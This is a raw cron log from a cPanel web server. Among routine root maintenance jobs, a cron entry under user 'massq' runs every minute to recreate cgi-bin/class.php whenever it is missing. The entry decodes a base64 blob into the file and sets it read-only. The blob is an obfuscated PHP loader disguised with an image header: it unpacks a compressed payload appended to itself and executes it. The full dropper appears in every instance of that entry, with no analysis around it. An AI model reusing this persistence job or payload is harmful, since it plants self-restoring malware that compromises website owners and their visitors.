Sep  7 01:10:01 server CROND[12958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:10:01 server CROND[12959]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:10:01 server CROND[12963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:10:01 server CROND[12960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:10:01 server CROND[12962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:10:01 server CROND[12964]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:10:01 server CROND[12961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:11:01 server CROND[14011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:11:01 server CROND[14012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:11:01 server CROND[14014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:12:01 server CROND[14394]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 01:12:01 server CROND[14393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:12:01 server CROND[14396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:12:01 server CROND[14392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:13:01 server CROND[14770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:13:01 server CROND[14771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:13:01 server CROND[14772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:14:01 server CROND[15134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:14:01 server CROND[15135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:14:01 server CROND[15136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:15:01 server CROND[15516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:15:01 server CROND[15518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:15:01 server CROND[15519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:15:01 server CROND[15531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:15:01 server CROND[15533]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:15:01 server CROND[15535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:15:01 server CROND[15529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:15:01 server CROND[15530]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 01:16:01 server CROND[16433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:16:01 server CROND[16435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:16:01 server CROND[16434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:17:01 server CROND[16814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:17:01 server CROND[16815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:17:01 server CROND[16816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:18:01 server CROND[17798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:18:01 server CROND[17799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:18:01 server CROND[17800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:19:01 server CROND[18168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:19:01 server CROND[18169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:19:01 server CROND[18170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:20:01 server CROND[18543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:20:01 server CROND[18544]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:20:01 server CROND[18548]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 01:20:01 server CROND[18551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:20:01 server CROND[18550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:20:01 server CROND[18553]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:20:01 server CROND[18552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:20:01 server CROND[18554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:20:01 server CROND[18557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:21:01 server CROND[19483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:21:01 server CROND[19482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
